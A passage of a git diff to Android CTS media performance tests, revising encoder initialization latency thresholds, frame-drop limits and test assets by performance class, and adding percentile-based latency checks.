-        mMaxPtsUs = 0;
-        mFrameDropCount = 0;
-        mBufferInfos = new ArrayList<>();
-    }
-
-    private MediaFormat createInputList(MediaFormat format, ByteBuffer buffer,
-            ArrayList<MediaCodec.BufferInfo> list, int offset, long ptsOffset) {
-        if (hasCSD(format)) {
-            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-            bufferInfo.offset = offset;
-            bufferInfo.size = 0;
-            bufferInfo.presentationTimeUs = 0;
-            bufferInfo.flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
-            for (int i = 0; ; i++) {
-                String csdKey = "csd-" + i;
-                if (format.containsKey(csdKey)) {
-                    ByteBuffer csdBuffer = format.getByteBuffer(csdKey);
-                    bufferInfo.size += csdBuffer.limit();
-                    buffer.put(csdBuffer);
-                    format.removeKey(csdKey);
-                } else break;
-            }
-            list.add(bufferInfo);
-            offset += bufferInfo.size;
-        }
-        while (true) {
-            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-            bufferInfo.size = mExtractor.readSampleData(buffer, offset);
-            if (bufferInfo.size < 0) break;
-            bufferInfo.offset = offset;
-            bufferInfo.presentationTimeUs = ptsOffset + mExtractor.getSampleTime();
-            mMaxPtsUs = Math.max(mMaxPtsUs, bufferInfo.presentationTimeUs);
-            int flags = mExtractor.getSampleFlags();
-            bufferInfo.flags = 0;
-            if ((flags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
-                bufferInfo.flags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
-            }
-            list.add(bufferInfo);
-            mExtractor.advance();
-            offset += bufferInfo.size;
-        }
-        buffer.clear();
-        buffer.position(offset);
-        return format;
-    }
-
-    public ArrayList<MediaFormat> setUpSourceFiles() throws Exception {
-        ArrayList<MediaFormat> formats = new ArrayList<>();
-        for (String file : mTestFiles) {
-            formats.add(setUpSource(file));
-            mExtractor.release();
-        }
-        int totalSize = 0;
-        for (String srcFile : mTestFiles) {
-            File file = new File(mInpPrefix + srcFile);
-            totalSize += (int) file.length();
-        }
-        totalSize <<= 1;
-        long ptsOffset = 0;
-        int buffOffset = 0;
-        mBuff = ByteBuffer.allocate(totalSize);
-        for (String file : mTestFiles) {
-            formats.add(createInputList(setUpSource(file), mBuff, mBufferInfos, buffOffset,
-                    ptsOffset));
-            mExtractor.release();
-            ptsOffset = mMaxPtsUs + 1000000L;
-            buffOffset = (mBufferInfos.get(mBufferInfos.size() - 1).offset) +
-                    (mBufferInfos.get(mBufferInfos.size() - 1).size);
-        }
-        return formats;
-    }
-
-    private long getRenderTimeUs(int frameIndex) {
-        return mRenderStartTimeUs + frameIndex * EACH_FRAME_TIME_INTERVAL_US;
-    }
-
-    @Override
-    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
-        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-            mSawOutputEOS = true;
-        }
-        long nowUs = System.nanoTime() / 1000;
-        if (mOutputCount == 0) {
-            mRenderStartTimeUs = nowUs;
-            mCodec.releaseOutputBuffer(bufferIndex, true);
-        } else if (nowUs > getRenderTimeUs(mOutputCount + 1)) {
-            mFrameDropCount++;
-            mCodec.releaseOutputBuffer(bufferIndex, false);
-        } else if (nowUs > getRenderTimeUs(mOutputCount)) {
-            mCodec.releaseOutputBuffer(bufferIndex, true);
-        } else {
-            if ((getRenderTimeUs(mOutputCount) - nowUs) > (EACH_FRAME_TIME_INTERVAL_US / 2)) {
-                try {
-                    Thread.sleep(((getRenderTimeUs(mOutputCount) - nowUs) -
-                            (EACH_FRAME_TIME_INTERVAL_US / 2)) / 1000);
-                } catch (InterruptedException e) {
-                    // Do nothing.
-                }
-            }
-            mCodec.releaseOutputBuffer(bufferIndex, true);
-        }
-        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-            mOutputCount++;
-        }
-    }
-}
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
index 0312ebc..61fe054 100644
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
@@ -40,7 +40,9 @@
 import org.junit.runners.Parameterized;
 
 import java.io.File;
+import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 
@@ -50,12 +52,17 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+/**
+ * The following test class validates the codec initialization latency (time for codec create +
+ * configure) for the audio encoders and hardware video encoders available in the device, under the
+ * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
+ */
 @RunWith(Parameterized.class)
 public class EncoderInitializationLatencyTest {
     private static final String LOG_TAG = EncoderInitializationLatencyTest.class.getSimpleName();
     private static final boolean[] boolStates = {false, true};
-    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 30;
-    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 40;
+    private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
+    private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
     private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
     private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
     private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
@@ -64,6 +71,15 @@
     static {
         AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
         AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
+
+        if (Utils.isRPerfClass()) {
+            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50;
+            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65;
+        } else {
+            // Performance class Build.VERSION_CODES.S and beyond
+            MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 40;
+            MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 50;
+        }
     }
 
     private final String mMime;
@@ -106,6 +122,7 @@
     public ActivityTestRule<TestActivity> mActivityRule =
             new ActivityTestRule<>(TestActivity.class);
 
+    // Returns the list of all available hardware video encoders in the device.
     static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
         MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
@@ -122,6 +139,7 @@
         return listOfMimes;
     }
 
+    // Returns the list of all available audio encoders in the device.
     static ArrayList<String> getMimesOfAvailableAudioEncoders() {
         MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
         MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
@@ -138,6 +156,9 @@
         return listOfMimes;
     }
 
+    // Returns the list of parameters with mimetype and their encoder(for audio - all encoders,
+    // video - hardware encoders).
+    // Parameters {0}_{1} -- Mime_EncoderName
     @Parameterized.Parameters(name = "{index}({0}_{1})")
     public static Collection<Object[]> inputParams() {
         // Prepares the params list with the required Hardware video encoders and all available
@@ -189,6 +210,7 @@
             }
         });
         // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
+        // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
         mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
         mTempRecordedFile.createNewFile();
         mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
@@ -209,8 +231,9 @@
         if (mMediaRecorderLoad != null) {
             // Note that a RuntimeException is intentionally thrown to the application, if no valid
             // audio/video data has been received when stop() is called. This happens if stop() is
-            // called immediately after start(). So Sleep for 300ms.
-            Thread.sleep(300);
+            // called immediately after start(). So sleep for 1000ms inorder to make sure some
+            // data has been received between start() and stop().
+            Thread.sleep(1000);
             mMediaRecorderLoad.stop();
             mMediaRecorderLoad.release();
             mMediaRecorderLoad = null;
@@ -237,28 +260,63 @@
         }
     }
 
+    /**
+     * This test validates that the initialization latency(time for codec create + configure)
+     * for the audio encoders <= 30ms and for video encoders <= 40ms measuring 10 times in
+     * succession(5 times alternating sync and async modes). This also logs the stats min, max, avg
+     * of the encoder initialization latencies.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testInitializationLatency() throws Exception {
-        int maxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
+        final int NUM_MEASUREMENTS = 5;
+        // Test gathers initialization latency for a number of iterations and
+        // percentile is a variable used to control how many of these iterations
+        // need to meet the pass criteria. For NUM_MEASUREMENTS at 5, sync and Async
+        // modes which is a total of 10 iterations, this translates to index 7.
+        final int percentile = 70;
+        long expectedMaxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
                 MAX_AUDIOENC_INITIALIZATION_LATENCY_MS : MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
-        for (int i = 0; i < 5; i++) {
+        long sumOfEncoderInitializationLatencyMs = 0;
+        int count = 0;
+        long[] encoderInitializationLatencyMs = new long[NUM_MEASUREMENTS * boolStates.length];
+        for (int i = 0; i < NUM_MEASUREMENTS; i++) {
             for (boolean isAsync : boolStates) {
                 EncoderInitializationLatency encoderInitializationLatency =
                         new EncoderInitializationLatency(mMime, mEncoderName, isAsync);
-                long encoderInitializationLatencyMs = encoderInitializationLatency
-                        .calculateEncoderInitializationLatency();
-                String errorLog = String.format("CodecInitialization latency for mime: %s, " +
-                        "Encoder: %s, Iteration: %d, mode: %s  is not as expected. act/exp: " +
-                        " %d/%d", mMime, mEncoderName, i, (isAsync ? "async" : "sync"),
-                        encoderInitializationLatencyMs, maxCodecInitializationLatencyMs);
-                assertTrue(errorLog,
-                        encoderInitializationLatencyMs <= maxCodecInitializationLatencyMs);
+                long latency = encoderInitializationLatency.calculateEncoderInitializationLatency();
+                encoderInitializationLatencyMs[count] = latency;
+                sumOfEncoderInitializationLatencyMs += latency;
+                count++;
             }
         }
+        Arrays.sort(encoderInitializationLatencyMs);
+
+        String statsLog = String.format("CodecInitialization latency for mime: %s, " +
+                "Encoder: %s, in Ms :: ", mMime, mEncoderName);
+        Log.i(LOG_TAG, "Min " + statsLog + encoderInitializationLatencyMs[0]);
+        Log.i(LOG_TAG, "Max " + statsLog + encoderInitializationLatencyMs[count - 1]);
+        Log.i(LOG_TAG, "Avg " + statsLog + (sumOfEncoderInitializationLatencyMs / count));
+
+        String errorLog = String.format(
+                "CodecInitialization latency for mime: %s, Encoder: %s is not as expected. "
+                        + "act/exp in Ms :: %d/%d",
+                mMime, mEncoderName, encoderInitializationLatencyMs[percentile * count / 100],
+                expectedMaxCodecInitializationLatencyMs);
+        assertTrue(errorLog,
+                encoderInitializationLatencyMs[percentile * count / 100]
+                        <= expectedMaxCodecInitializationLatencyMs);
+
     }
 }
 
+/**
+ * The following class calculates the encoder initialization latency (time for codec create +
+ * configure). And also logs the time taken by the encoder for:
+ * (create + configure + start),
+ * (create + configure + start + first frame to enqueue),
+ * (create + configure + start + first frame to dequeue).
+ */
 class EncoderInitializationLatency extends CodecEncoderTestBase {
     private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
 
@@ -273,7 +331,7 @@
         mFrameRate = 60;
     }
 
-    private MediaFormat setUpFormat() {
+    private MediaFormat setUpFormat() throws IOException {
         MediaFormat format = new MediaFormat();
         format.setString(MediaFormat.KEY_MIME, mMime);
         if (mIsAudio) {
@@ -285,10 +343,32 @@
             format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
             format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
         } else {
-            format.setInteger(MediaFormat.KEY_WIDTH, 1920);
-            format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+            MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
+            MediaCodecInfo.CodecCapabilities codecCapabilities =
+                    codec.getCodecInfo().getCapabilitiesForType(mMime);
+            if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
+                format.setInteger(MediaFormat.KEY_WIDTH, 1920);
+                format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+                format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
+            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
+                format.setInteger(MediaFormat.KEY_WIDTH, 1280);
+                format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+                format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
+            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
+                format.setInteger(MediaFormat.KEY_WIDTH, 640);
+                format.setInteger(MediaFormat.KEY_HEIGHT, 480);
+                format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
+            } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
+                format.setInteger(MediaFormat.KEY_WIDTH, 352);
+                format.setInteger(MediaFormat.KEY_HEIGHT, 288);
+                format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
+            } else {
+                format.setInteger(MediaFormat.KEY_WIDTH, 176);
+                format.setInteger(MediaFormat.KEY_HEIGHT, 144);
+                format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+            }
+            codec.release();
             format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
             format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
             format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
                     MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
@@ -307,30 +387,31 @@
         }
         setUpSource(mInputFile);
         MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
-        long step1TimeMs; // Time of (create + configure)
-        long step2TimeMs; // Time of (create + configure + start)
-        long step3TimeMs = 0; // Time of (create + configure + start + first frame to enqueue)
-        long step4TimeMs = 0; // Time of (create + configure + start + first frame to dequeue)
-        long start = System.currentTimeMillis();
+        long enqueueTimeStamp = 0;
+        long dequeueTimeStamp = 0;
+        long baseTimeStamp = System.nanoTime();
         mCodec = MediaCodec.createByCodecName(mEncoderName);
         resetContext(mIsAsync, false);
         mAsyncHandle.setCallBack(mCodec, mIsAsync);
         mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
-        step1TimeMs = System.currentTimeMillis() - start;
+        long configureTimeStamp = System.nanoTime();
         mCodec.start();
-        step2TimeMs = System.currentTimeMillis() - start;
+        long startTimeStamp = System.nanoTime();
         if (mIsAsync) {
+            // We will keep on feeding the input to encoder until we see the first dequeued frame.
             while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
                 Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
                 if (element != null) {
                     int bufferID = element.first;
                     MediaCodec.BufferInfo info = element.second;
                     if (info != null) {
-                        step4TimeMs = System.currentTimeMillis() - start;
+                        dequeueTimeStamp = System.nanoTime();
                         dequeueOutput(bufferID, info);
                         break;
                     } else {
-                        if (step3TimeMs == 0) step3TimeMs = System.currentTimeMillis() - start;
+                        if (enqueueTimeStamp == 0) {
+                            enqueueTimeStamp = System.nanoTime();
+                        }
                         enqueueInput(bufferID);
                     }
                 }
@@ -340,13 +421,15 @@
                 if (!mSawInputEOS) {
                     int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
                     if (inputBufferId > 0) {
-                        if (step3TimeMs == 0) step3TimeMs = System.currentTimeMillis() - start;
+                        if (enqueueTimeStamp == 0) {
+                            enqueueTimeStamp = System.nanoTime();
+                        }
                         enqueueInput(inputBufferId);
                     }
                 }
                 int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
                 if (outputBufferId >= 0) {
-                    step4TimeMs = System.currentTimeMillis() - start;
+                    dequeueTimeStamp = System.nanoTime();
                     dequeueOutput(outputBufferId, outInfo);
                     break;
                 }
@@ -357,13 +440,17 @@
         mCodec.stop();
         mCodec.release();
         Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure): " + step1TimeMs);
+                " Time for (create + configure) in ns: " + (configureTimeStamp - baseTimeStamp));
         Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start): " + step2TimeMs);
+                " Time for (create + configure + start) in ns: " +
+                (startTimeStamp - baseTimeStamp));
         Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to enqueue): " + step3TimeMs);
+                " Time for (create + configure + start + first frame to enqueue) in ns: " +
+                (enqueueTimeStamp - baseTimeStamp));
         Log.d(LOG_TAG, "Encode mMime: " + mMime + " Encoder: " + mEncoderName +
-                " Time for (create + configure + start + first frame to dequeue): " + step4TimeMs);
-        return step1TimeMs;
+                " Time for (create + configure + start + first frame to dequeue) in ns: " +
+                (dequeueTimeStamp - baseTimeStamp));
+        long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+        return timeToConfigureMs;
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
index 10cc040..b3d54de 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTest.java
@@ -16,24 +16,20 @@
 
 package android.mediapc.cts;
 
-import android.media.MediaCodec;
-import android.media.MediaFormat;
-import android.view.Surface;
-
 import androidx.test.filters.LargeTest;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
 import java.util.Collection;
 
-import static android.mediapc.cts.FrameDropTestBase.DECODE_30S;
-import static android.mediapc.cts.FrameDropTestBase.MAX_FRAME_DROP_FOR_30S;
 import static org.junit.Assert.assertTrue;
 
+/**
+ * The following test class validates the frame drops of a playback for the hardware decoders
+ * under the load condition (Transcode + Audio Playback).
+ */
 @RunWith(Parameterized.class)
 public class FrameDropTest extends FrameDropTestBase {
     private static final String LOG_TAG = FrameDropTest.class.getSimpleName();
@@ -42,76 +38,28 @@
         super(mimeType, decoderName, isAsync);
     }
 
+    // Returns the list of parameters with mimeTypes and their hardware decoders
+    // combining with sync and async modes.
+    // Parameters {0}_{1}_{2} -- Mime_DecoderName_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
         return prepareArgumentsList(null);
     }
 
+    /**
+     * This test validates that the playback of 1920x1080 resolution asset of 3 seconds duration
+     * at 60 fps for S perf class / 30 fps for R perf class, for at least 30 seconds worth of
+     * frames or for 31 seconds of elapsed time. must not drop more than 6 frames for S perf
+     * class / 3 frames for R perf class.
+     */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testDecodeToSurface() throws Exception {
-        DecodeToSurfaceFrameDrop decodeToSurfaceFrameDrop = new DecodeToSurfaceFrameDrop(mMime,
-                m1080pTestFiles.get(mMime), mDecoderName, mSurface, mIsAsync);
-        decodeToSurfaceFrameDrop.doDecodeAndCalculateFrameDrop();
-    }
-}
-
-class DecodeToSurfaceFrameDrop extends DecodeExtractedSamplesTestBase {
-    private final String mDecoderName;
-
-    private long mBasePts;
-    private long mMaxPts;
-    private long mDecodeStartTimeMs;
-    private int mSampleIndex;
-
-    DecodeToSurfaceFrameDrop(String mime, String testFile, String decoderName, Surface surface,
-            boolean isAsync) {
-        super(mime, new String[]{testFile}, surface, isAsync);
-        mDecoderName = decoderName;
-        mBasePts = 0;
-        mMaxPts = 0;
-        mSampleIndex = 0;
-    }
-
-    public void doDecodeAndCalculateFrameDrop() throws Exception {
-        ArrayList<MediaFormat> formats = setUpSourceFiles();
-        mCodec = MediaCodec.createByCodecName(mDecoderName);
-        configureCodec(formats.get(0), mIsAsync, false, false);
-        mCodec.start();
-        mDecodeStartTimeMs = System.currentTimeMillis();
-        doWork(Integer.MAX_VALUE);
-        queueEOS();
-        waitForAllOutputs();
-        mCodec.stop();
-        mCodec.release();
-        assertTrue("FrameDrop count for mime: " + mMime + " decoder: " + mDecoderName +
-                " is not as expected. act/exp: " + mFrameDropCount + "/" + MAX_FRAME_DROP_FOR_30S,
-                mFrameDropCount <= MAX_FRAME_DROP_FOR_30S);
-    }
-
-    @Override
-    void enqueueInput(int bufferIndex) {
-        if (mSampleIndex == mBufferInfos.size()) {
-            enqueueEOS(bufferIndex);
-        } else {
-            MediaCodec.BufferInfo info = mBufferInfos.get(mSampleIndex++);
-            if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                ByteBuffer dstBuf = mCodec.getInputBuffer(bufferIndex);
-                dstBuf.put(mBuff.array(), info.offset, info.size);
-                mInputCount++;
-            }
-            if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                mSawInputEOS = true;
-            }
-            long pts = info.presentationTimeUs;
-            mMaxPts = Math.max(mMaxPts, mBasePts + pts);
-            mCodec.queueInputBuffer(bufferIndex, 0, info.size, mBasePts + pts, info.flags);
-            if (mSampleIndex == mBufferInfos.size() &&
-                    // Decode for at least 30s
-                    (System.currentTimeMillis() - mDecodeStartTimeMs < DECODE_30S)) {
-                mSampleIndex = 0;
-                mBasePts = mMaxPts + 1000000L;
-            }
-        }
+        PlaybackFrameDrop playbackFrameDrop = new PlaybackFrameDrop(mMime, mDecoderName,
+                new String[]{m1080pTestFiles.get(mMime)}, mSurface, FRAME_RATE, mIsAsync);
+        int frameDropCount = playbackFrameDrop.getFrameDropCount();
+        assertTrue("FrameDrop count for mime: " + mMime + ", decoder: " + mDecoderName +
+                ", FrameRate: " + FRAME_RATE + ", is not as expected. act/exp: " + frameDropCount +
+                "/" + MAX_FRAME_DROP_FOR_30S, frameDropCount <= MAX_FRAME_DROP_FOR_30S);
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index 631fe52..c0f48db 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -17,6 +17,7 @@
 package android.mediapc.cts;
 
 import android.media.MediaFormat;
+import android.util.Log;
 import android.view.Surface;
 
 import androidx.test.rule.ActivityTestRule;
@@ -46,8 +47,10 @@
     static final String AAC = MediaFormat.MIMETYPE_AUDIO_AAC;
     static final String AAC_LOAD_FILE_NAME = "bbb_1c_128kbps_aac_audio.mp4";
     static final String AVC_LOAD_FILE_NAME = "bbb_1280x720_3mbps_30fps_avc.mp4";
-    static final long DECODE_30S = 30000; // In ms
-    static final long MAX_FRAME_DROP_FOR_30S = 3;
+    static final long DECODE_31S = 31000; // In ms
+    static final int MAX_ADAPTIVE_PLAYBACK_FRAME_DROP = 0;
+    static final int FRAME_RATE = Utils.isSPerfClass() ? 60 : 30;
+    static final int MAX_FRAME_DROP_FOR_30S;
 
     final String mMime;
     final String mDecoderName;
@@ -71,18 +74,38 @@
         AAC_DECODER_NAME = selectCodecs(AAC, null, null, false).get(0);
     }
     static {
-        m540pTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
-        m540pTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
-        m540pTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
-        m540pTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
-        m540pTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
-    }
-    static {
-        m1080pTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
-        m1080pTestFiles.put(HEVC, "bbb_1920x1080_8mbps_60fps_hevc.mp4");
-        m1080pTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
-        m1080pTestFiles.put(VP9, "bbb_1920x1080_8mbps_60fps_vp9.webm");
-        m1080pTestFiles.put(AV1, "bbb_1920x1080_8mbps_60fps_av1.mp4");
+        if (Utils.isSPerfClass()) {
+            // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
+            MAX_FRAME_DROP_FOR_30S = 6;
+            m540pTestFiles.put(AVC, "bbb_960x540_3mbps_60fps_avc.mp4");
+            m540pTestFiles.put(HEVC, "bbb_960x540_3mbps_60fps_hevc.mp4");
+            m540pTestFiles.put(VP8, "bbb_960x540_3mbps_60fps_vp8.webm");
+            m540pTestFiles.put(VP9, "bbb_960x540_3mbps_60fps_vp9.webm");
+            m540pTestFiles.put(AV1, "bbb_960x540_3mbps_60fps_av1.mp4");
+
+            m1080pTestFiles.put(AVC, "bbb_1920x1080_8mbps_60fps_avc.mp4");
+            m1080pTestFiles.put(HEVC, "bbb_1920x1080_6mbps_60fps_hevc.mp4");
+            m1080pTestFiles.put(VP8, "bbb_1920x1080_8mbps_60fps_vp8.webm");
+            m1080pTestFiles.put(VP9, "bbb_1920x1080_6mbps_60fps_vp9.webm");
+            m1080pTestFiles.put(AV1, "bbb_1920x1080_6mbps_60fps_av1.mp4");
+        } else if (Utils.isRPerfClass()) {
+            // One frame drops per 10 seconds at 30 fps is 3 drops per 30 seconds
+            MAX_FRAME_DROP_FOR_30S = 3;
+            m540pTestFiles.put(AVC, "bbb_960x540_2mbps_30fps_avc.mp4");
+            m540pTestFiles.put(HEVC, "bbb_960x540_2mbps_30fps_hevc.mp4");
+            m540pTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
+            m540pTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
+            m540pTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+
+            m1080pTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+            m1080pTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+            m1080pTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+            m1080pTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+            m1080pTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+        } else {
+            MAX_FRAME_DROP_FOR_30S = 0;
+            Log.e(LOG_TAG, "Unknown performance class.");
+        }
     }
 
     @Before
@@ -108,11 +131,18 @@
         mIsAsync = isAsync;
     }
 
+    // Returns the list of objects with mimeTypes and their hardware decoders supporting the
+    // given features combining with sync and async modes.
     static List<Object[]> prepareArgumentsList(String[] features) {
         final List<Object[]> argsList = new ArrayList<>();
         final String[] mimesList = new String[] {AVC, HEVC, VP8, VP9, AV1};
         for (String mime : mimesList) {
-            ArrayList<String> listOfDecoders = selectHardwareCodecs(mime, null, features, false);
+            MediaFormat format = MediaFormat.createVideoFormat(mime, 1920, 1080);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+            ArrayList<MediaFormat> formats = new ArrayList<>();
+            formats.add(format);
+            ArrayList<String> listOfDecoders =
+                    selectHardwareCodecs(mime, formats, features, false);
             for (String decoder : listOfDecoders) {
                 for (boolean isAsync : boolStates) {
                     argsList.add(new Object[]{mime, decoder, isAsync});
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index 86104ce..80bdafe 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -39,20 +39,30 @@
     private static final String LOG_TAG = MultiCodecPerfTestBase.class.getSimpleName();
     static final boolean[] boolStates = {true, false};
     static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
-    static final String[] mMimeList = new String[] {
-            MediaFormat.MIMETYPE_VIDEO_AVC,
-            MediaFormat.MIMETYPE_VIDEO_HEVC,
-            MediaFormat.MIMETYPE_VIDEO_VP8,
-            MediaFormat.MIMETYPE_VIDEO_VP9,
-            MediaFormat.MIMETYPE_VIDEO_AV1
-    };
+    static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
+    // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving fps
+    // that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
+    // passing the test
+    static final double FPS_TOLERANCE_FACTOR = 0.95;
+    static ArrayList<String> mMimeList = new ArrayList<String>();
     static Map<String, String> mTestFiles = new HashMap<>();
     static {
+        mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mMimeList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+
         mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
         mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
-        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm");
-        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
-        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
+
+        // Test VP8, VP9 and AV1 as well for Build.VERSION_CODES.S
+        if (Utils.isSPerfClass()) {
+            mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
